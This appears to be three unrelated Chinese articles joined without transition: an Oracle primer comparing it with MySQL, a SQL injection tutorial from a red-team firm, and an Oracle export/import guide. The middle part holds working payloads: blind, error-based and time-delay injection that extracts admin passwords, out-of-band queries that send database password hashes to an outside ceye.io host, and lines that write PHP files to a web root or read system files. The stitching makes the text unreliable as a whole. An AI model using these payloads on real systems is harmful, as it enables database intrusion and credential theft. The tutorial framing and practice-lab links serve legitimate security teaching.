市場上開源框架使用較多的數據庫是MySQL和Oracle,之前寫的文章《經常使用到開源的MySQL,今天我們就來系統地認識一下》已經系統地介紹了MySQL的一些知識,今天我們來聊一下Oracle的一些入門知識。同時簡單的對比一下MySQL和Oracle的區別。在Oracle數據庫的SQL命令中,關鍵字、表名和字段名都不區分大小寫,語法是標準的 sql寫法。
我們先看一下Oracle中的字段類型和長度。
1.1、字符串類型
char:固定長度字符串,會用空格填充來達到最大長度。
varchar2:變長度字符串,不補充空格,可以存儲32767字節的內容。
1.2、數字類型
Oracle用number類型來存放數字,存儲精度最多達38位。
number( m,n ),m表示總長度,n表示小數位的精度,如果存入的數據的小數位的精度超過了n,則取四舍五入后的值。
1.3、日期類型
Oracle采用date類型表示日期和時間,我們要稍微注意一下Oracle存儲的是24制格式時間,因此在做轉換時,不管是時間格式轉字符,還是字符串轉時間格式,使用函數to_date和to_char要注意時間格式的書寫,不是使用 yyyy-MM-dd HH:mm:ss 的格式作為格式進行轉換,也不是使用 yyyy-MM-dd HH24:mm:ss 格式,而是使用 yyyy-mm-dd hh24:mi:ss 。我們來看一下區別。
原始數據:2022-07-06 16:58:13
yyyy-MM-dd HH:mm:ss 返回的12小時格式,返回的是 2022-07-06 04:07:13。【結果發現,時和分都不對】
yyyy-MM-dd HH24:mm:ss 返回的24小時格式,分鐘沒有處理,返回的是 2022-07-06 16:07:13。【結果發現,時對了,分不對】
yyyy-mm-dd hh24:mi:ss 返回的24小時格式,返回的是 2022-07-06 16:58:13【結果發現,時對了,分也對了】
為什么會出現這種差異,那是因為oracle是不區分大小寫的,HH和hh是一樣的,不像我們在java中使用 yyyy-MM-dd HH:mm:ss 代表將時間轉換為24小時制,使用 yyyy-MM-dd hh:mm:ss 代表將時間轉換為12小時制。既然不能根據大小寫來區分24小時和12小時,Oracle就換了個思路,oracle中將24小時寫成格式HH24,這樣就是用 HH(或者hh)和 HH24(或者hh24)來區分12小時和24小時。
其次,我們發現,使用mm 來表示分鐘數據也不正確,還是同樣的原因,SQL中不區分大小寫,MM和mm被認為是相同的格式代碼,分鐘做了特殊處理,Oracle的SQL采用了mi代替分鐘。
1.4、clob和blob類型
BLOB和CLOB都是大字段類型,BLOB是按二進制來存儲的,而CLOB是可以直接存儲文字的。其實兩個是可以互換的的,或者可以直接用LOB字段代替這兩個。但是為了更好的管理ORACLE數據庫,通常像圖片、文件、音樂等信息就用BLOB字段來存儲,先將文件轉為二進制再存儲進去。而像文章或者是較長的文字,就用CLOB存儲,這樣對以后的查詢更新存儲等操作都提供很大的方便。
2.1、分頁
(1)oracle不支持limit關鍵字,oracle使用rownum進行分頁操作,rownum只能比較小于不能比較大于,因為該方法都是先查詢后排序的,比如我們要查第10條到第20條之間的數據;
(2)mysql使用limit進行分頁操作,limit中的參數值不能在語句當中寫計算表達式,需要提前計算。
表示從第n條數據開始查找,一共查找m條數據。
2.2、mysql可以用雙引號包起字符串,oracle中只能用單引號引字符串。
Oracle 的索引與MySQL的索引規則基本沒啥區別,這里不再贅述。
但要注意的兩點:
(1)mysql索引從0開始,Oracle從1開始。
(2)mysql的索引是表級別的,在整個數據庫內,mysql不同表的索引可以同名;但Oracle的索引是數據庫級別的,Oracle索引不可以同名。
MySQL主鍵可設為自動增長類型auto_increment。插入記錄時,不需要指定該記錄的主鍵值,mysql自動增長。oracle沒有自增長類型,主鍵一般使用使用的序列,插入記錄時將序列號下一值賦給該字段。
我們看一個具體的例子,我們現在有一個用戶表sys_user,主鍵設置的自增。
oracle數據庫中nextval用來獲取序列號的下一個squence的值。在oracle中sequence就是所謂的序列號,每次取的時候它會自動增加。
使用mybatis插入數據時,語法如下:
單獨的插入SQL,也很簡單,id的值使用 seq_sys_user.nextval。
5.1、oracle 查詢數據字典
示例1:
5.2、首字母排序
比如我們要查詢SYS_USER 表,按照USER_NAME也就是用戶昵稱的首字母排序。
示例2:
5.3、查詢表空間大小
示例3:
5.4、查看表空間是否具有自動擴展的能力
示例4:
當表空間不足時,我們可以采取以下做法拓展表空間
方法一:給表空間增加數據文件,并允許自動增長:
方法二:允許已存在的數據文件自動增長:
方法三:手工改變已存在數據文件大小:
(注意:oracle可管理的最大數據塊為2的22次方,而根據單個數據塊大小的不同,其最大容量也是不同的。對于OLTP應用,數據塊的大小通常為8K,這樣算下來,單個數據文件的大小最大為(2^22)*8K=32G.)
5.5、ORACLE通過執行計劃查看查詢語句是否使用索引
執行完要查找的語句以后,執行下面的語句查看執行計劃(注意執行完上面的explain plan整條語句,再把select語句執行一下)
示例5:
我們可以看出:TABLE ACCESS FULL,表示的是全表掃描;
index unique scan索引唯一掃描,當可以優化器發現某個查詢條件可以利用到主鍵、唯一鍵、具有外鍵約束的列,或者只是訪問其中某行索引所在的數據的時候,優化器會選擇這種掃描類型。
index range scan索引范圍掃描,當優化器發現在UNIQUE列上使用了大于、小于、大于等于、小于等于以及BETWEEN等就會使用范圍掃描,在組合列上只使用部分進行查詢,導致查詢出多行數據。對非唯一的索引列上進行任何活動都會使用index range scan。
index full scan全索引掃描,如果要查詢的數據可以全部從索引中獲取,則使用全索引掃描。
index fast full scan索引快速掃描,掃描索引中的全部的數據塊,與全索引掃描的方式基本上類似。兩者之間的明顯的區別是,索引快速掃描對查詢的數據不進行排序,數據返回的時候不是排序的。“在這種存取方法中,可以使用多塊讀功能,也可以使用并行讀入,從而得到最大的吞吐量和縮短執行時間”。
針對上面的全表掃描的優化:增加Agency和UserAccount的組合索引。
x01
—
摘要
上一期,我們介紹了注入漏洞中常見的 SQL 注入漏洞,主要內容是以 MySQL 為例介紹了 SQL注入的基本原理,并舉例了幾個常見的注入手法與原理。本期我們來介紹其他的一些注入手法與原理。
0x02
—
SQL Injection
接上期
我們習慣上簡稱為數據庫管理系統為數據庫,對于數據庫管理系統來說分很多類型,每一種查詢方法都不一樣。
常見的數據庫類型有
不同數據庫的查詢版本的方法
對于 MySQL 來說,所有的數據庫信息都保存在一個名叫 information_schema 的數據庫中,基本結構是下面這樣的。
mysql 版本 >=5.0
讓我們來看看真實的保存信息
information_schema 數據庫與我們關心的幾個表
information_schema 數據庫的三張表的結構與我們關心的表中的字段(下圖做了標注)
結合上期介紹的注入手法與 information_schema 數據庫結構,我們可以通過以下方式來從檢查目標的數據結構
# 檢查數據庫名稱
select schema_name from information_schema.schemata
# 檢查指定數據的所有表名
select table_name from information_schema.tables where table_schema="數據庫名稱"
# 檢查指定表的所有字段名稱
select column_name from information_schema.columns where table_name="表名"
我們來查看下上期介紹的 xiaomi 數據庫的結構
注意:注入時為了準確的獲取目標數據庫的信息,需要靈活的構建查詢條件;上圖中限制查詢為指定庫的指定表的字段。
在線實驗
# mysql 練習
https://paiza.io/en/projects/new?language=mysql
# 注入練習
https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-non-oracle
對于 Oracle 來說,相關操作
# 流程:
# 獲取所有表 --> 獲取指定表的所有字段名
# 所有表
select table_name from all_tables
# 指定表的所有字段名
select column_name from all_tab_columns where table_name="表名稱"
在線實驗
https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle
總結一下,不同的數據庫查詢數據庫結構的方法
# oracle
select * from all_tables
select * from all_tab_columns where table_name='TABLE-NAME-HERE'
# Microsoft
select * from information_schema.tables
select * from information_scehma.columns where table_name='TABLE-NAME-HERE'
# PostgreSQL
select * from information_schema.tables
select * from information_schema.columns where table_name='TABLE-NAME-HERE'
# MySQL
select * from information_schema.tables
select * from information_schema.columns where table_name='TABLE-NAME-HERE'
在 sql 注入時,如果應用程序沒有回顯/報錯消息,那么我們就需要利用 sql 盲注方式。
對于 sql 盲注的漏洞,之前手法依賴消息回顯的都不可用,那么我們需要如何來利用漏洞呢?
主要思路就是:利用數據庫執行我們給定的命令后的狀態來利用漏洞
利用方式有:
如一個網站依賴 cookie 值 TrackingId=abc123,查詢到用戶時;會于前端提示 ”Welcom back“,
我們可以利用條件判斷語句,使條件永遠滿足來利用漏洞
TrackingId=x' union select 'a' where 1=1--
擴展思路,我們可以有更多的利用方式
# 檢查指定的用戶是否存在?
TrackingId=x' union select 'a' from users where useranme='admin' --
# 檢查用戶密碼
TrackingId=x' union select 'a' from users where useranme='admin' and substring(password,1,1)>'t' --
常用字符串截取函數
數據庫 字符串截取函數 Oracle substr(‘test’, 1, 1) Microsoft substring(‘test’, 1,1) PostgreSQL substring(‘test’, 1,1) MySQL substring(‘test’, 1, 1)
在線實驗
https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses
如果前端只會顯示 Internal Server Error 500,我們可以考慮手動引發錯誤。
以上面的例子
TrackingId=x' union select case when (1=2) then 1/0 else null end--
# 特意指定會報錯的命令,讓數據庫運行出錯
TrackingId=x' union select case when (1=1) then 1/0 else null end--
擴展
TrackingId=x' union select case when (username='admin' and substring(password,1,1)='m') then 1/0 else null end--
數據庫 條件 Oracle select case when (條件) then to_char(1/0) else null end from dual Microsoft select case when (條件) then 1/0 else null end PostgreSQL select case when (條件) then cast(1/0 as text) else null null end MySQL select if(條件, (select table_name from information_schema.tables), ‘a’)
如果執行結果不出現提示或者是空白時,以上的方式也沒辦法利用了。但是如果可以明確的看出前端展示的內容有正常與錯誤的頁面。
可以考慮
select * from name where id='0' and substring(version(), 1, 1)=5-- ' limit 0,1
select * from name where id='0' and substring(version(), 1, 1)=6-- ' limit 0,1
如果后端應用程序執行了 sql 命令,但是處理了數據庫報錯或者總是返回相同的提示;我們可以使用 delay 來利用 sql 注入漏洞。
以 Microsoft SQL Server 為例
'; if (1=2) waitfor delay '0:0:10'--
# 利用時間延遲執行命令來判斷
'; if (1=1) waitfor delay '0:0:10'--
在線實驗
https://portswigger.net/web-security/sql-injection/blind/lab-time-delays
擴展
'; IF (SELECT COUNT(username) FROM Users WHERE username='Administrator' AND SUBSTRING(password, 1, 1) > 'm')=1 WAITFOR DELAY '0:0:{delay}'--
如果網站執行 sql 查詢時使用了 異步方式,所有 sql 查詢在另外的線程執行。那么基于時間延遲的利用方式也不可行了。
這時可以利用 out-of-band 方式來利用 sql 注入漏洞。
思路就是:讓程序系統通過其他的協議對外交互來利用漏洞。通常我們會利用 DNS 協議的查詢來利用漏洞,因為大部分其他協議對外可能是禁止的,DNS 總是放行的。
數據庫不同,利用方法有些許差別,參考 ceye.io 網站的 pyloads
# mysql
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
# SQL Server
DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.ip.port.b182oj.ceye.io';
EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');
# Oracle
SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');
SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;
注意:
MySQL 的 load_file 函數在 Linux 下是無法用來做 dnslog 攻擊的,因為這里使用了基于 windows 內置支持的 UNC 路徑解析功能。
0x03
—
SQL 注入防護
上面了解了 sql 注入手法,那么如何防護呢?下面給出一些建議
# 不使用 sql 拼接語法
String query="SELECT * FROM products WHERE category='"+ input + "'";
Statement statement=connection.createStatement();
ResultSet resultSet=statement.executeQuery(query);
# 使用參數化查詢
PreparedStatement statement=connection.prepareStatement("SELECT * FROM products WHERE category=?");
statement.setString(1, input);
ResultSet resultSet=statement.executeQuery();
# 寫文件,結合 union
1 union select 1,2,3,4,5,"<? phpinfo(); ?>" into outfile "/var/www/html/test.php"
# 寫文件,直接寫
1 into outfile '/var/www/html/test.php" fields terminated by "<? phpinfo(); ?>"
# 讀取文件
union all select 1,2,3,4,load_file("c:/windows/system32/drivers/etc/hosts"),6
0x04
—
總結
到此,注入漏洞之 sql 注入部分就完結了,其實在 sql 注入中,還有許多需要考慮與注意的地方,比如,繞過WAF,寫文件權限,讀文件權限等。大家可以搜索相關的關鍵字時一步學習。
0x05
—
參考
https://portswigger.net/blog/oast-out-of-band-application-security-testing
https://portswigger.net/burp/documentation/collaborator
http://ceye.io/payloads
FIN
深圳德慎思信息安全
專為金融、政府及企事業單位提供紅隊實戰的安全測評服務,德慎思立足深圳放眼世界,緊抓中華民族復興機遇,以科創為民的精神貢獻自身卓越技能。
oracle11g數據庫導入導出:
①:傳統方式——exp(導出)和(imp)導入:
②:數據泵方式——expdp導出和(impdp)導入;
③:第三方工具——PL/sql Develpoer;
oracle11g數據庫的導入/導出,就是我們通常所說的oracle數據的還原/備份。
數據庫導入:把.dmp 格式文件從本地導入到數據庫服務器中(本地oracle測試數據庫中);
數據庫導出:把數據庫服務器中的數據(本地oracle測試數據庫中的數據),導出到本地生成.dmp格式文件。
.dmp 格式文件:就是oracle數據的文件格式(比如視頻是.mp4 格式,音樂是.mp3 格式);
1.exp/imp:
優點:代碼書寫簡單易懂,從本地即可直接導入,不用在服務器中操作,降低難度,減少服務器上的操作也就 保證了服務器上數據文件的安全性。
缺點:這種導入導出的速度相對較慢,合適數據庫數據較少的時候。如果文件超過幾個G,大眾性能的電 腦,至少需要4~5個小時左右。
2.expdp/impdp:
優點:導入導出速度相對較快,幾個G的數據文件一般在1~2小時左右。
缺點:代碼相對不易理解,要想實現導入導出的操作,必須在服務器上創建邏輯目錄(不是真正的目錄)。我們 都知道數據庫服務器的重要性,所以在上面的操作必須慎重。所以這種方式一般由專業的程序人員來完 成(不一定是DBA(數據庫管理員)來干,中小公司可能沒有DBA)。
3.PL/sql Develpoer:
優點:封裝了導入導出命令,無需每次都手動輸入命令。方便快捷,提高效率。
缺點:長時間應用會對其產生依賴,降低對代碼執行原理的理解。
目標數據庫:數據即將導入的數據庫(一般是項目上正式數據庫);
源數據庫:數據導出的數據庫(一般是項目上的測試數據庫);
1.目標數據庫要與源數據庫有著名稱相同的表空間。
2.目標數據在進行導入時,用戶名盡量相同(這樣保證用戶的權限級別相同)。
3.目標數據庫每次在進行數據導入前,應做好數據備份,以防數據丟失。
4.使用數據泵時,一定要現在服務器端建立可用的邏輯目錄,并檢查是否可用。
5.弄清是導入導出到相同版本還是不同版本(oracle10g版本與oracle11g版本)。
6.目標數據導入前,弄清楚是數據覆蓋(替換),還是僅插入新數據或替換部分數據表。
7.確定目標數據庫磁盤空間是否足夠容納新數據,是否需要擴充表空間。
8.導入導出時注意字符集是否相同,一般Oracle數據庫的字符集只有一個,并且固定,一般不改變。
9.導出格式介紹:
? Dmp格式:.dmp是二進制文件,可跨平臺,還能包含權限,效率好;
? Sql格式:.sql格式的文件,可用文本編輯器查看,通用性比較好,效率不如第一種,
適合小數據量導入導出。尤其注意的是表中不能有大字段 (blob,clob,long),如果有,會報錯;
? Pde格式:.pde格式的文件,.pde為PL/SQL Developer自有的文件格式,只能用PL/SQL Developer工具
導入導出,不能用文本編輯器查看;
10.確定操作者的賬號權限。
1、傳統方法:
通用命令:exp(imp) username/password@SERVICENAME:1521 file="e:\temp.dmp" full=y;
數據庫導出舉例:
exp xinxiaoyong/123456@127.0.0.1:1521 file="e:\temp.dmp" full=y;
exp:導出命令,導出時必寫。
imp:導入命令,導入時必寫,每次操作,二者只能選擇一個執行。
username:導出數據的用戶名,必寫;
password:導出數據的密碼,必寫;
@:地址符號,必寫;
SERVICENAME:Oracle的服務名,必寫;
1521:端口號,1521是默認的可以不寫,非默認要寫;
file="e:\temp.dmp" : 文件存放路徑地址,必寫;
full=y :表示全庫導出。可以不寫,則默認為no,則只導出用戶下的對象;
方法細分:
1.完全導入導出:
exp(imp) username/password@SERVICENAME:1521 file="e:\temp.dmp" full=y;
2.部分用戶表table導入導出:
exp(imp) username/password@SERVICENAME:1521 file="e:\temp.dmp"
tabels= (table1,table2,table3,...);
3.表空間tablespaces導入導出:
//一個數據庫實例可以有N個表空間(tablespace),一個表空間下可以有N張表(table)。
exp(imp) username/password@SERVICENAME:1521 file="e:\temp.dmp"
tablespaces= (tablespace1,tablespace2,tablespace3,...);
4.用戶名username對象導入導出:
exp(imp) username/password@SERVICENAME:1521 file="e:\temp.dmp"
owner(username1,username2,username3);
2、數據泵方法:
創建directory:
expdp(impdp) username/password@SERVICENAME:1521 schemas=username dumpfile=file1.dmp logfile=file1.log directory=testdata1 remap_schema=test:test;
數據庫導出舉例:
expdp xinxiaoyong/123456@127.0.0.1:1521 schemas=xinxiaoyong dumpfile=test.dmp
logfile=test.log directory=testdata1;
exp:導出命令,導出時必寫。
imp:導入命令,導入時必寫,每次操作,二者只能選擇一個執行。
username:導出數據的用戶名,必寫;
password:導出數據的密碼,必寫;
@:地址符號,必寫;
SERVICENAME:Oracle的服務名,必寫;
1521:端口號,1521是默認的可以不寫,非默認要寫;
schemas:導出操作的用戶名;
dumpfile:導出的文件;
logfile:導出的日志文件,可以不寫;
directory:創建的文件夾名稱;
remap_schema=源數據庫用戶名:目標數據庫用戶名,二者不同時必寫,相同可以省略;
1.查看表空間:
select * from dba_tablespaces;
2.查看管理理員目錄(同時查看操作系統是否存在,因為Oracle并不關心該目錄是否存在,如果不存 在,則出錯)。
select * from dba_directories;
3.創建邏輯目錄,該命令不會在操作系統創建真正的目錄,最好以system等管理員創建。
create directory testdata1 as 'd:\test\dump';
4.給xinxiaoyong用戶賦予在指定目錄的操作權限,最好以system等管理員賦予。
//xinxiaoyong 是用戶名(123456是用戶密碼)
grant read,write on directory testdata1 to xinxiaoyong;
5.導出數據
1)按用戶導 expdp xinxiaoyong/123456@orcl schemas=xinxiaoyong dumpfile=expdp.dmp directory=testdata1;
2)并行進程parallel expdp xinxiaoyong/123456@orcl directory=testdata1 dumpfile=xinxiaoyong3.dmp parallel=40 job_name=xinxiaoyong3
3)按表名導 expdp xinxiaoyong/123456@orcl tables=emp,dept dumpfile=expdp.dmp directory=testdata1;
4)按查詢條件導 expdp xinxiaoyong/123456@orcl directory=testdata1 dumpfile=expdp.dmp tables=emp query='WHERE deptno=20';
5)按表空間導 expdp system/manager directory=testdata1 dumpfile=tablespace.dmp tablespaces=temp,example;
6)導整個數據庫 expdp system/manager directory=testdata1 dumpfile=full.dmp FULL=y;
6.還原數據
1)導到指定用戶下 impdp xinxiaoyong/123456 directory=testdata1 dumpfile=expdp.dmp schemas=xinxiaoyong;
2)改變表的owner impdp system/manager directory=testdata1 dumpfile=expdp.dmp tables=xinxiaoyong.dept remap_schema=xinxiaoyong:system;
3)導入表空間 impdp system/manager directory=testdata1 dumpfile=tablespace.dmp tablespaces=example;
4)導入數據庫 impdb system/manager directory=dump_dir dumpfile=full.dmp FULL=y;
5)追加數據 impdp system/manager directory=testdata1 dumpfile=expdp.dmp schemas=system table_exists_action;
3、PLSQL方法:
登錄plsql工具,所使用用戶為源數據庫有導出權限(exp_full_database,dba等)的用戶。
? 1.導出建表語句(包括存儲結構)
導出步驟tools ->export user object,選擇要導出的對象,導出.sql格式文件并等待導出完成,如 下圖:
導出數據文件 ;
2.導出步驟tools ->export tables,選擇要導出的表及導出的格式進行導出。
導出為dmp格式,如下圖:
導出為sql格式,如下圖:
導出為pde格式,如下圖:
提示說明:采用第三方工具導出導入整個數據庫的話,耗時較長,一定要有足夠的時間來操作(數據量大的話需要好幾個小時)。
3.導入建表語句
?? 導入步驟tools->import tables->SQL Inserts 導入.sql文件
4.導入數據;
?? tools->import talbes,然后再根據導出的數據格式選擇導入dmp文件,或者sql文件,
或者pde文件。
?? 提示說明:導入之前最好把以前的表刪除,當然導入另外數據庫除外。 另外導入時當發現進度條一直卡在一個點,而且導出的文件不再增大時,甚至是提示程序
未響應,千萬不要以為程序卡死了,這個導入導出就是比較緩慢,只要沒有提示報錯,
由于水平有限,本文檔僅提供參考。如代碼有錯誤之處,請見諒。
*請認真填寫需求信息,我們會在24小時內與您取得聯系。